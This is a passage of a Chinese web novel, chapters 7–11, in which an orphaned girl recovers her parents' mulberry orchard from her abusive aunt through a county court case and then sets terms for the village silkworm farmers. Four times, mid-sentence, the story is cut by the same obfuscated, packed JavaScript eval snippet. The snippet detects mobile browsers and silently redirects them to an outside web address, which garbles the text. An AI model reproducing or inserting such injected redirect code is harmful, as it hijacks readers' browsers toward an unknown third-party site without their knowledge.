当初余旺去世前只签了继承文书，并没有去县衙更换地籍，官府登记的这片桑蚕园依旧在余旺名下，李氏抵押桑蚕园的行为是不作数的，作为余旺唯一的血脉，她立户之后自然可以继承桑蚕园。 至于到时李氏要闹，那她自找官府说理去，反正官府只认地籍登记的。 …… 翌日余晚桃在家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561833|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 画绒花珠链的设计图时，大门就被砰砰砰地拍响，她迅捷把东西收好，跑去开门，果然见两个赌坊打手凶神恶煞地站她家门口。 “你们要干什么？”，余晚桃往外看了一眼，打开门让人进来。 “你舅母把你卖给我们赌坊了。”，赌坊打手低头打量她几下，眼里有些不满，那村妇把她侄女吹得天花乱坠，结果就是这么一个面黄枯瘦的，哪里就值一百两了。 余晚桃并不慌乱，反而目光平静，把院门关上后叉腰看着他们:“你们买我能干嘛啊？我这模样卖到青楼去老鸨怕是都嫌弃，我舅母不仁义，这样坑害我一个孤女，那我也不顾这亲戚情分了。” “前些日子舅母把我卖给县里傻子还收了一百两的聘礼呢，她怎么可能没钱，再说了，就算没现银那还有二十多亩的桑蚕园呢，你们与其揪着我这不值钱的去卖，还不如直接去书院外扯门帘喊呢。” “表哥读书要脸面，别看他村口那说得多冠冕堂皇，可要是真教同窗知道他有一个赌徒舅舅，那还能在书院抬起头来吗？拿表哥的读书名声去威胁，我那好舅母还能不妥协？” 余晚桃长篇大论，句句都在理。 赌坊打手也不是个傻的，自然知道自己是被那村妇给骗了，他恶狠狠呸了一声，刚要出门去找人算账，村长纠结着一帮人围过来了。 “村长！”，余晚桃哇地哭出来，扑到余村长身边，大声控诉:“舅母把我卖给了赌坊，要给铁牛叔还赌债！” “什么？！”，余村长当即大怒:“李氏这个毒妇！” “李氏这里太黑心了吧，竟然还想把桃子卖第二次。” “我呸，上她家找她去。”，丁婶拿着菜刀冲出来，“你们这些穿心烂肺捣脑窝子的畜生！我们家桃子已经单独立户出来，跟李氏没有任何关系了，她有什么资格卖桃子？你们不去找那烂遭妇倒来欺负一个半大姑娘，当我们余氏族人是死的吗！” 赌坊打手被一通堵得面色铁青，当即就扭头要去找李氏算账，村里一帮人跟上去，披尘卷土地冲到了陈家。 踹开门后赌坊打手就冲进去将李氏拖出来扔到地上，一顿打砸威胁，才撂下狠话:“敢跟老子玩心眼了啊，信不信老子明儿就到你儿子书院去，让他的先生同窗都来看看，他娘是个什么养的货色！” 家里陈老根出去做工了，陈文祖又去了书院，就剩李氏自己，她不敢去看凶狠的赌坊打手，只一个劲撒泼:“你敢误了我儿考秀才，我一根绳子吊死在你家赌坊门口！” “那就去吊。”，赌坊打手俨然是个没耐心的，与这泼妇扯皮久了愈发烦躁，当即就下了最后狠话:“二百两，明天要还不出来，小心你儿子的腿，我们赌坊见过的血多了去，该怎么办你自己掂量。” 李氏整张脸都被吓白了。 等赌坊打手走后，李氏一口气未松懈，就被围堵在家门口的村民们那几乎要吃人的眼神给吓得腿软，这时才觉出心虚来。 8. 设计李氏 李氏种种行为俨然惹怒了村里人，饶是村长一再顾及着陈文祖这个书生的面子，这会都不得不出面解决。 让人去李家将李寡妇找过来，余村长坐在陈家院里，声音威严:“李铁牛欠债这个事已经影响到村里了，那些打手要是天天进村来闹，让村民们还怎么安生过日子。关于这个债的问题，你们是怎么想的？” 李寡妇着一身镐素麻衣，面容憔悴:“村长啊，我们家什么光景你又不是不知道，别说二百两，就是二两的丧葬费都没啊，恁家铁牛的尸首还在院里躺着没棺材埋呢。” 余村长看向李氏:“这是你娘家的事，你最好也想想，别再把主意打到桃子身上，否则大桑村绝不容你。” 李氏也委屈，她双拳捶地埋怨道:“我能想出啥法子来啊，我也没钱！我一个嫁出去的，凭什么要担这笔债。” “好啊你这个不孝女，你不帮着还钱是要逼死你老娘不成！”李寡妇闻言怒不可遏，与她攀咬起来，前一刻还憔悴着，这会唰地站起，一双眼睛又细又浑浊，揪着李氏的胳膊拧。 “凭啥要我还啊。”，李氏平时嚣张惯了，这会被老娘追着打，一个气不顺就将人推了出去，破罐子破摔道:“反正我就是没钱，没钱！” 余晚桃:“舅母，刚才赌坊的人可说了，不还钱，就去表哥书院闹，咱表哥可是要考秀才的，这要是被坏了名声，损失可就大了。” “你！”，李氏气得心梗，偏偏这话又戳到了她心肺子里，家里被砸得一片狼藉，她左环右顾，最后一把瘫坐在地，大声嚎哭:“我不活了啊摊上这赌癞子大哥，我一个出嫁女还得卖田卖地去给他填窟窿，没这天理啊！” 李氏闹得厉害，但第二日还是被逼将家里的桑蚕园抵给了赌坊，才把这件事消了过去。 李铁牛出殡这日，她冲那方向狠狠吐了把口水，俨然一副要跟娘家断绝往来的架势。 二十多亩的桑蚕园，就算他们家的蚕养不活，各村里的蚕农都会到园里订购桑叶，每年五月份到十月份都有源源不断的进项，这也是陈家能供得起陈文祖在县里读书的原因。 一下把桑蚕园抵了出去，李氏疼得心绞痛，就将气撒在陈老根身上，每天骂骂咧咧的，陈老根闷不吭声，去县里找活干了。 —— 余晚桃费了两日功夫把留下来的两络蚕丝都做成了绒花品，一套绒花珠链，三支斜鬓簪，因为工具有限，做绒花珠链便花了较多时间，蚕丝细软，穿珠和定型都需要十足的耐心。 至于斜鬓簪是照了时下流行的青鸟款式来做，不过首饰铺里用的材料多是铜包银，再镀金片，这种一般要卖到四五两银子。 她用的蚕丝，在材料上比不得镀金片的贵重，不过胜在蚕丝质地柔软，染了色之后做出来的青鸟造型栩栩如生，一片尾羽流苏轻若浮云，完美摈弃了铜簪坠珠的笨重。 余晚桃打听清楚了，才按照上次那刘小姐给的地址，顺利找到了刘府。 她眼见刘小姐穿着身嫩黄的百褶襦裙，掩着嘴与身旁的姐妹儿说笑，好几个打扮俏人的姑娘笑笑闹闹的迈进了堂里，瞧见从头到脚都灰扑扑的生面孔，都齐齐噤了声，暗暗打量着。 “还当真来了，与你说了好几日都不见上门来，我还以为你这土丫头是没将我的话记住呢。”，刘小姐抚了抚发髻间的海棠花簪，面上俏红瞪了余晚桃一眼。 她唤着几个姐妹儿坐下，饮了口茶才给人介绍:“这就是我与你们说的，卖我那两支簪的人，别看穷酸了些，手是真巧的。” “云姐儿你可别诓我们，就她啊……”，说话的姑娘嫌弃地皱了皱眉。 “绣姐儿你急什么，等着看看就知道了嘛，我何来的乐子功夫去诓你？”，刘云哼了哼。 余晚桃任着这帮富家小姐挑剔，她只当听不懂，把自己带来的盒子打开，推到刘小姐手边的桌案上，笑着介绍道:“这是我带来的一套绒花珠链，三支青鸟斜鬓簪，各位漂亮姐姐若有能看上的，看着给钱便是。” “嘴倒挺甜。”，被唤作绣姐儿的那位姑娘懒洋洋地看向盒子，下一刻却眸子倏地放大，眼疾手快抢过了那套绒花珠链。 “哎绣姐儿你！”，手慢了一步，刘云懊悔地握拳作势要打她，“陈小绣！你不是看不上穷酸丫头的东西嘛，这朝下手倒是快。” 陈小绣不理她，高兴地让婢女去取铜镜来，自己在发髻间比着这套珠链，发现比那些翠颦金饰要好瞧多了，还有种轻盈灵秀之感，一点儿都不显笨重俗气。 “这个多少银子，我买了！” 余晚桃笑道:“小姐们喜欢就好，至于银子您看着给吧，我这是自家独创的绒花手艺，别家没有的，也不好定价。” 陈小绣这才拿正眼瞧她，“你这点年纪倒是稳重，没有那些穷酸令人作呕的谄媚，我喜欢你。”，她大方地让婢女支了五两银子过去。 “谢谢陈小姐。” “好说，下次有新品再卖我就是，可别忘了。”，陈小绣翘腿倚靠在桌案边，对刘云笑说:“云姐儿还是你仗义，你放心，下次我肯定不与你抢了哈哈哈。” 刘云哼了哼，不过也很喜欢手边的这支青鸟斜鬓簪就是了。 上次一支簪子五百文，不过这会陈小绣先给了银子，她也不好提当时的低价，便按照一两一支的价格给了。 余晚桃得了银子，就要与人告辞:“我村里叔叔家被赌坊追债，意外去世了，这朝得拿银子回去帮衬，多谢几位漂亮姐姐瞧得上我的簪子，不然我真不知道要怎么筹银子呢。” “怎么赌坊追债还把人打死了？”，刘云微微睁大眼，一脸的好奇。 余晚桃愤愤道:“那赌坊的打手凶恶，又黑心，故意放印子钱引我叔叔去赌，导致欠了许多银子还不上，一时情急下不小心摔着，人就没了。” 陈小绣听了当即就拍桌，“容县还有这般无法无天的赌坊！要知道朝廷是不许钱庄和赌坊对百姓放印子钱的，这是要砍头的。” “那赌坊叫什么？”刘云追问。 余晚桃小声说了赌坊名字，脸上尽是对赌坊深深的恐惧。 刘云安慰了她一下，说:“我爹是县丞，你放心，等我爹下值回来我就跟他说这事，必定不能再让这赌坊祸害其他百姓了。” “真的可以吗？那赌坊还强占了我家桑蚕园，能不能让青天大老爷给我做主还回来？”，余晚桃低头擦了下眼泪，“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561834|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹娘早亡，只留下一个桑蚕园给我，自从我家桑蚕园被抵给赌坊后，我夜夜不得眠，觉得对不住爹娘，守不住家中基业。” “当真是个可怜的。”刘云教她哭得心软，当即就拍着胸脯保证:“你放心，我一定帮你把家中桑蚕园拿回来的！” 在刘云信誓旦旦的保证下，余晚桃抽抽噎噎地擦干净眼泪，揣着赚来的八两银子，抱着一包被硬塞过来的点心，踏出了刘府大门。 她咬了一口甜腻的绿豆糕，抬头看着天空，晴光潋滟，碧蓝天阔，心里思索着，该买几张蚕种，盖多大蚕舍。 二十多亩桑蚕园，被李氏糟蹋了好几年，终于要回到自己手上了。 …… 回到村里余晚桃按耐着心情，等了两日功夫，趁着空闲把破落的院墙围上竹篱笆，屋顶请人修缮了一下，新打的桌椅也回来了，原本空落落的屋子里添置了一些家具，瞧着像个正经能过日子的屋舍了。 “阿桃——”，崔玉棠扛着水桶回来，扔了扁担就去扯余晚桃往外走:“快走，我们去县里。” “怎么了？”，余晚桃踉跄着跟上他的步伐。 崔玉棠急道:“刚才我去挑水，听村口赶牛车的大爷说今日县里开堂审案子了，原是有一位慈济堂的孤女去状告赌坊，私放印子钱，还草菅人命，逼良为娼。” “因为那窈儿姑娘是一路跪着去县衙敲鸣冤鼓的，事情闹得很大，这会县里人都知道了。” 这节骨眼上，这位窈儿姑娘当真是狠狠帮她推了一把，相信只要李氏不傻，都知道这是一个拿回桑蚕园绝佳的好机会，肯定也奔着去县衙了。 二人加快脚步往村口去，一路催着往县里赶，终于是在案子结束前挤进了衙门围观的人群里。 两侧衙役执着威仗，在笃笃的“威武”声里，赌坊一众管事被套上了枷项，面容灰白跪在地上。 正堂上县令头戴乌纱帽，白鬓须垂在两侧，他一拍惊堂木，钩沉之音落在衙门内:“此案已结，赌坊一干人等押入刑狱待案情呈报知府批复后再定其罪。有受赌坊迫害的可凭证据取回家财。” “其中，不受赌坊印子钱的赌徒，除外。” 这县令清明公正，没有私吞从赌坊查抄来了的巨额财产，惹得围观的百姓直拍手称好。 李氏钻在人群里，眼睛骨碌转着，虽然心里对县衙有着天然的恐惧，但想到能拿回桑蚕园，还是壮着胆子站出去，哆哆嗦嗦地跪下，涕泪涟涟道:“大人，赌坊的这些黑心鬼不仅害死了我大哥，还侵占了我家的桑蚕园，还请大人为民妇做主！” 县令:“地籍何处的？可有契书为证？” 李氏快速道:“地籍大桑村陈家，陈老根的，契书被赌坊的抢走了。” 县令沉吟片刻，挥手让一名衙役去将大桑村村长传唤过来，又偏头吩咐师爷，“去让地籍官拿册子来。” “大人。” 一道清脆的嗓音落在堂内。 余晚桃步入公堂内，她跪地磕了响头，声音里带着与瘦弱外表不符的沉稳与从容，“民女要状告舅母李氏，侵占家产，多年来苛待继养女，品行不端，德行不正。” 李氏瞪着余晚桃，目眦欲裂。 9. 县衙对峙 公堂之上，明镜高悬， 凡上了堂的都得怀敬畏之心，不得放肆。 李氏却在余晚桃出现的时候慌了，她慌乱之下忘了身处何地，循着身体本能打过去:“你个贱蹄子在胡说什么！” 余晚桃吃痛，闪躲不及，脸颊很快浮现红肿掌印，她的身体像是对李氏的打骂有了本能的害怕，当即瑟缩着躲到了一侧衙役的威杖下。 座上惊堂木猛然一响，县令愠怒之音落下:“大胆刁妇，竟敢在公堂内撒泼打人，还不住手！” 李氏眼前晃过一阵白光，被“威武”声吓得双腿发抖，她颤巍巍地跪回去，先一步哭道:“大人息怒，民妇……民妇这是被逆女气到了才失态的，我这外甥女，父母忙故后是我尽心尽力养她到及笄，还给她找了一门好亲事，可人却贪心不足，还想把我家中桑蚕园霸占，实在是可恨啊——” 余晚桃被她这颠倒是非那不要脸的劲给气到了，她咬着嘴唇，眼眶通红:“舅母当真是张嘴就能编扯慌话来。” 她抬起头来，望着座上县令，“大人，民女自幼父母早亡，留下了继承文书，将家中财产与民女一起过继给了舅舅一家，可舅母拿了我家钱财却并未善待于我，自小便是磋磨打骂不停，这些村里人皆有见证。” “不久前为了给表哥攒束脩还将我卖给了县里崔家傻子，后来崔家出了事，我就带相公回了大桑村，本想就此安生过自己的日子，可却得知舅母竟将桑蚕园抵给了赌坊。” “那是我爹娘一辈子的心血啊，却被如此糟蹋，夜里每每梦见爹娘，都是一副垂泪模样。” 李氏闻言捶着心口，哀痛不已:“崔家是多富贵的门户啊，你自己是个丧门星把崔家克倒了，倒来赖我了？我含辛茹苦地把你拉扯大，如今竟养成白眼狼了，我不活了啊！” 两方各执一词，县令静静观察着，直至地籍官拿着册子与户籍到堂前来，他低头翻看户籍。 不久余村长也被接到了，同他一道的还有好几户大桑村人家。 地籍官翻看过册子，抱拳对县令禀告:“下官所查得出位于大桑村的二十六亩地乃是大桑村余旺开荒所得，后发展为桑蚕园，于官府登记地籍在自己名下，至今未曾更改过。” 李氏不敢置信:“怎么可能！那余旺夫妇死前写了继承文书把家财和桑蚕园都给了我家男人继承的！” 县令淡淡道:“继承文书何在？” 余村长哆嗦着上前去，跪下后呈上两张文书:“大人，这是余旺夫妇当时写的继承文书，另外一张则是余旺之女，同舅舅陈老根一家签断抚养关系的文书。” 县令看过两张文书，心中有了决断，他俯视着跪在公堂下几人，询问:“李氏自小磋磨打骂继养女一事，可为真？” 余村长张嘴，哑然，为着陈文祖这一个读书人，他心里到底是偏私了几分。 “为真！” 跟着一起来的丁婶看不下去，跪到堂前去:“李氏泼辣，日日让桃子干活却连吃个糙米馍馍都要骂几句，大人您瞧姑娘身板，瘦瘦小小的，这在村里大伙都知道，而且桃子成亲后都单独立户出来了，这李氏还打算将桃子卖给赌坊，实在可恶！” “余天庆家的你再乱说话信不信我撕了你的烂嘴！”李氏怄得不行，眼睛怒视着丁婶，恨不得拽下一块肉来。 县令看了李氏一眼，“继养女出嫁时，可备了嫁妆？” 李氏不知县令大人为何问这些，她惶恐不安地点了点头，说:“备了嫁妆的，还置了席面。” 余晚桃冷冷补充:“嫁妆是一张被褥和几件旧衣服，其余的便没了。” 至此，诸事明了。 县令拍下惊堂木，开始定案:“李氏得余旺夫妇以家财为托，抚养幼女，虽有苛待但养育之恩仍在，故以孝道论，余氏女所告其侵吞家财，苛待继养女一事不实。” 李氏闻及此得意地笑了，却听那县令继续说道:“然，余氏女余晚桃，据县衙户籍登记得知，乃文宗十九年八月生，今文宗三十五年五月，距及笄还有三月。李氏并未按照继承文书所契，抚养余氏女至及笄，也未备齐嫁妆，是以此文书契约便不成立。” “再者辖下登记土地，皆以官府地籍为证，既然官府登记的桑蚕园地籍仍在余旺名下，其女余晚桃又已成亲立户，桑蚕园理应由其继承。” 李氏脸上得意的扬笑顿住，她有些迟钝地眨了眨眼，等县令拍下惊堂木宣布此案了结时，她一猛子站起来，呼道:“我不同意，这不公平！” “桑蚕园那短命鬼余旺夫妇早就给了我家的，凭啥要还回去！我儿还要读书考状元的没了桑蚕园哪来的钱财供他上学啊！” “大胆刁妇！屡次公堂撒泼，来人，责十威杖，再将其扔出衙门。” 县令官威岂容一介百姓屡次挑衅，李氏在村里嚣张泼辣惯了，到了公堂上还企图耍无赖这一套，这十威杖该是她受得。 余晚桃高呼青天大老爷明察秋毫，真乃容县之福，大魏之福！随后跟着地籍官去将桑蚕园过户到自己名下，再拿着契书盖上新官印。 至此，余晚桃真正拿回了桑蚕园。 余晚桃与李氏上公堂对峙的事很快就传到了大桑村，回去时不少人家都上门来打听了，还有一些蚕农过来问以后还会不会继续供应桑叶的，她一一将人打发了，并未给准话。 陈老根来敲门时，是崔玉棠去开的，他淡淡喊了一声舅舅，侧身让开。 陈老根没和这样矜贵气质的县里公子打过交道，他束手束脚地迈进去，寻到在后院里给菜地浇水的余晚桃。 “舅舅，你怎么来了？”，余晚桃拎着水桶到屋檐下，抬袖擦去脸颊的汗。 陈老根张了张嘴，有些难言。 余晚桃率先开口，打破了他的为难，“是为了桑蚕园一事吧，舅母怎么样了？” 陈老根:“请了你五爷爷去看，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561835|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚么事，就是得躺几天。” “舅舅——” “不用多说。”，话既已出口，陈老根便不再犹豫，他打断了余晚桃的话:“这桑蚕园本就是你爹娘的，给了我们也是糟蹋了许多年，如今拿回来了，就好好打理，你日子过得好，舅舅这心里的亏欠才能少些。” “我找了县里码头的活计，虽没以前富裕但也供得起文祖进学，你以后不用担心我了，有肉就自己多吃，别总惦记着舅舅这边，你舅母是个不好相与的，以后在村里定要小心她。” 陈老根匆匆交代完就走了，瞧着背挺直了些，像是卸下了一个大包袱，整个人都松快了。 “阿桃，有人送了猪脚过来，挂门环上就跑走了，只说自己是村尾余贵家的。”，崔玉棠拎着一只猪脚过来，不知如何处理。 余晚桃秀眉轻蹙:“估计是从前与舅母签了桑叶供给的蚕农，怕我们不继续供给他们桑叶，这才上门送礼讨好。” “那我们还要继续供桑叶给他们吗？”，崔玉棠问着话，抬高手臂替她挡着些檐角漏下的太阳光线。 余晚桃干脆进了屋子，坐下喝了一口粗茶水:“自然要继续供应的，都是村里人，我要去贸然断了这份合作，岂不是断了他们的营生，只不过不能像以前一样乱来，要有规划的采摘，给桑树休养生息的时间，才能保证源源不断的产出。” “舅母怕是会来闹。”，崔玉棠见识过李氏那股刁劲，在公堂前都敢撒泼的人，如今回了村，怕是更不会善罢甘休了。 余晚桃眼神绞紧，冷冷笑了一下:“让她来便是，从前忍她是因为寄人篱下，如今再惹我，可就不能给她好果子尝了。” 那余贵家送来是猪后腿部位，拎着有七八斤重，余晚桃做了一大盆红烧猪蹄，又拌了碗野菜，等丁婶农忙回来便让她带着孩子过来吃饭。 丁婶见他们家炖上猪蹄了，当即就皱起两条眉毛，责怪道:“村里人随便炒点野菜豆腐对付一口就行了，怎么还特地炖上猪蹄了，要我说你们该仔细攒些家底，为以后打算才是。” “丁婶哪里的话，这猪蹄是村尾的余贵叔送过来了，他放了就走，我都没机会推拒。”，余晚桃弯腰摸摸柔妹圆乎乎的发顶，给她盛了一碗白米饭。 丁婶端着饭，坐下后可给心疼得啊，“这白米饭吃着太糟蹋了，要加点番薯芋头南瓜这些粗粮进去，那么一小桶蒸饭能吃上三天呢。” “您就吃好吧。”，余晚桃给她夹了一块抖颤颤的猪蹄进碗里，故意开玩笑道:“我家二郎长得俊，又是过惯了细致生活的，我哪里舍得让他吃粗粮。” 丁婶眯着眼睛打量桌上安静吃饭的少年郎君，这副皮相当真是比那些千金小姐都俏生，一看就不是能干活的，以后在村里不得指着桃子养。 她有心提点余晚桃几句，但想着这到底是人家小夫妻的家事，不多嘴才能保持邻里和谐，于是心思一转，便与人说到自家的蚕上了。 10. 拒绝道德绑架 五月底一过便到年里最热的时节了，萤火虫成片的照着田野里颗粒饱满的稻穗，夏蝉响个不停，蚊子又嗡嗡地在耳边吵得人心烦意乱。 余晚桃晨起时瞥见崔玉棠白玉般的胳膊上被蚊子叮了许多包出来，她自个也没好哪去，洗脸时挠着脖子，与人道:“改明去山里扯些艾草回来熏熏，省得这些蚊子夜夜在耳边叫唤。” 崔玉棠拧湿了巾子，递给她:“不是还要去桑园里嘛，隔壁庆叔天天都进山，托他帮忙扯些下来便是。” “也行。”，余晚桃擦了脸，快速收拾好自个就去后院里摘菜了。 白菜苗长得很快，密密麻麻的叶绿茎白，当初撒种子的时候撒得密集，就是为了挑拣这一口嫩白菜苗子吃，最后留下来的便是长势好的白菜，直溜溜一排，后期就可以摘成颗的大白菜了。 旁边的茄子苗瞧着长势是得到七八月份才会结茄子，至于缸豆才刚开始爬架，且有得长呢。 六月天的日头毒得很，二人吃了朝食到桑园时脑门就已经沁了一层薄薄的汗，好在桑园里有几颗桂花树底下可以躲阴。 余晚桃戴着草帽去检查桑树的区域生长情况，结果并不乐观，以前她便对桑园有了大概的了解，只是那会还由李氏掌控着，她没办法实施措施去补救，这会细数下来，竟有许多事情要做。 首先便是害虫问题。 其次桑树植株缺少营养，导致生长缓慢，桑叶质量差，地上的杂草破坏了土壤本身的肥力，从根往上变黄的桑叶增多了。 还有便是蚕农大量采摘桑叶，只取不养，导致桑树损伤过大，有一些甚至连顶部的嫩芽都被掐走了。 也不知道这李氏怎么管理的，把好好的桑园糟蹋成这样。 余晚桃巡了一圈回来，脸色不是很好，崔玉棠给她递去水壶，拿芭蕉叶帮她扇风:“怎么？是桑树情况不好吗？” “是不大好，我们今儿先除草，明日去县里买几袋生石灰回来撒一下，除害虫。”，余晚桃渴得紧，咕咚咕咚喝了大半壶水，便利索地卷起袖子，一头扎进桑地里去了。 要不说士农工商，农人虽有耕户之美名却最是苦命，炎炎夏日里谁不躲在家里吃冰消暑，也就只有农人脸埋黄土背朝天，任劳任怨地忙着地里全家赖以生存的活计。 二十多亩的桑地，忙活一日也才清理出几亩来，将近太阳西垂时，两人合力用钩耙把杂草耙作几堆，点燃烧了，草木灰则坑埋起留着以后沤肥。 余晚桃晒了一日，整张脸都是红的，眼睛望向远方时都直冒白光，给累得够呛，刚收拾好了准备回家去，却发现一个妇人背着竹篓，娴熟地推开园子门，钻进地里采桑叶了。 “哎！做什么呢。”，余晚桃把钩耙给崔玉棠扛着，自己钻进地里把那妇人扯出来，指着她问:“桑园这几日需要整顿，暂时不供应桑叶了。” “怎么不供应了？”，妇人声音拔高:“钱都收了，你要不供应了我家蚕不得饿死！” 余晚桃强撑着精神，不容置疑道:“你钱给谁了就找谁去，总之现在这桑园是在我名下的，我说了暂时不供应，便是不打算开园的意思，等我处理出一套章程，若还想与我家桑园合作的，便去老屋找我签新契书。” 妇人闻言猛拍了下大腿，厚着脸皮坐地上耍赖:“我不管，我今儿就得摘桑叶回去！刚才李氏都收我铜板了，没凭的我到园里了还摘不着桑叶！” “前段时间我与舅母上公堂的事别说你不知，大家都是一个村的。” 余晚桃见她如李氏一般遇事就撒泼，便知是个刁的，当下也没好脸了，“你不过是打着我不会同你计较的念头过来而已，这园子是我爹娘的基业，我定是要好好经营的，你若往后还想继续在我这订购桑叶，那便老实些。” “你这小娼子有甚了不起的，不供应就不供应，这桑树山里多的是，当谁不会培育似的！”，妇人被落了好一顿脸，撂下狠话，起身骂骂咧咧地出了园子。 余晚桃险些被气笑了，出去后转身就锁上了园子门，当是做给那些暗地瞧的人看。 只是她这朝生着气，那妇人回去后却不服了，转眼便在村里传起闲话，害得第二日余晚桃去河里搓完衣服回来，发现家里站满了人，一个个义愤填膺地用言语围攻着崔玉棠。 崔玉棠来了大桑村低调得紧，安静内敛少与村里人攀谈，像个社恐般，这会被一群蚕农围着指点，脸憋得通红。 “做什么上我家欺负人来了！”，余晚桃用力将洗衣盆砰地砸到地上，转去拐角拿了扫帚来，单手叉着腰:“你们今儿要说不出个一二来，我就请村长来评评理，这样仗势欺人当真是好脸。” 余晚桃说着便挥着扫帚一顿打，把人轰到门外去，挡在崔玉棠面前，对那帮蚕农气势汹汹道:“刚才不是挺能说的吗？说啊！” 一男子站出来，义愤填膺地质问:“你为什么不供应我们桑叶了！” “你凭啥闭园啊，我们家好几座蚕呢，要是饿死了你负责啊，这也太没良心了，李氏那会就没你这么多事。” “就是，李氏那会任我们摘都没说什么，到你这就直接不给进园了，桃子啊大家都是乡里乡亲，你可不能这样忘恩负义啊，这做法不道德的欸！” 余晚桃冷笑:“我几时说过不给你们供应了？你们听我亲口说的？” “退一万步讲，就算我不供应桑叶了，我也在理，舅母只图眼前小利，根本不管桑树的生长情况，这才导致你们摘取无度，丝毫不爱惜桑树。” “这个园子是我爹娘一辈子的心血，既然回到了我手里，那我断不会再让人糟蹋了去，话我今日便放这，桑园需要闭园半旬，让桑树休养生息，并且还要做防害虫处理，划分采摘区域，以后再想与桑园合作的，便要按照我的规矩签契书，不得再私自采摘。” 谁能想到这小妮子比那李氏还不好糊弄，个个壮着理上门来的蚕农这会都噤了声，在心里思量着其中利害关系，也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561836|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在观望其他人态度的。 一帮人面面相觑，最后有人问道:“那这半旬我们的蚕怎么办？” 余晚桃闻言便撑着腰笑了，话里带着嘲弄:“这话听得也当真是好笑，莫不是附近就我一户园子不成？”，她顿了顿，旋即夸张地捂住嘴，“啊莫不是其他桑园的主儿没我舅母好糊弄？” “也是，人家可精明着呢，哪里有我那好舅母良善呀，只管一日一户十文钱，摘多摘少却是一概不关心的。” 此话一出当是掀开了蚕农的遮羞布，心里那点小心思都被人戳破，还摆上台面了，哪里还好意思同人讲道德，没一会便灰溜溜地散了。 余晚桃宛若斗胜的孔雀，翘着嘴角关上院门，转身见崔玉棠已默默晾晒好衣服，还怕自己吵完架口渴，去灶房里倒了一碗粗茶水过来。 她喝了一口，就说:“那群人就这样，你越不说话他们就越当你好欺负呢。” 崔玉棠有些窘迫:“他们……一人一句堆过来，我实在找不到还嘴的空隙。” “也是难为你了。”，余晚桃乐道:“村里人没别的功夫，就嘴皮子特别利索，以后再遇到这种事，你喊我，我一准能吵赢她们。” 崔玉棠嗯了一声。 本来今日要早去县里买石灰的，却被那群蚕农耽搁了些功夫，等两人抵达县城，找到石灰窑子时，都快下午了。 这窑子建得偏，还费了一番功夫才找对地方。 石灰这年头是个贱价，余晚桃订了十多袋才八十文，让他们帮忙送到大桑村，交了定金后便来到了街集上最热闹的蚕种铺。 一张蚕种就要半两银子，约有万只左右，成活率大概在七成，这蚕种铺如此打的成活率招牌，在县里已算是高的了。 时下蚕农养蚕，从一龄蜕皮到五龄上簇结茧，正常的存活率都是在五成左右。 余晚桃多跑了几间铺子，问清楚价格后经过对比，心中便有了成算。 紧要事办完了，两人去吃了份鲜肉混沌，又买了一些牙粉和香胰，本打算就此回去，在途径一间书铺时，余晚桃却停住了步子。 她偏头问:“二郎买些书回去看吧，这样等过了农忙，再去书院报名时便比别人多看了几本书，都说笨鸟先飞，但我看啊聪明的鸟儿学会先飞，才是最好的。” 余晚桃话音落下时，便自顾自拉着崔玉棠踏进了书铺里，眼睛看着书架上能让人挑花眼的书册。 崔玉棠自然是识得字的，从会走路起便有名师启蒙，只是后来浑浑噩噩过了几年光景，如今乍一捧起书籍，竟有一种恍如隔世之感。 他挑了一本“大学”，一本“中庸”，去柜台问价发现竟要二两银子一本，静默几许就放了回去，如今家中银钱都是靠阿桃辛苦缫丝挣的，如何能肆意挥霍。 只是眨眼间，他放回去的那两本书被一青衫书生秀手拾起，慢悠悠的嗓音落在书铺里:“金尊玉贵的崔二郎，怎么沦落到连本书都买不起的地步了？” 11. 二郎遇友 崔玉棠抬起眉梢，朝人撇去一个眼神。 这面孔有些熟悉，像是昔年随长辈到家中做客的阔少爷，倒不嫌他傻，肯带着他玩。 “子涧兄。”，崔玉棠朝人行礼。 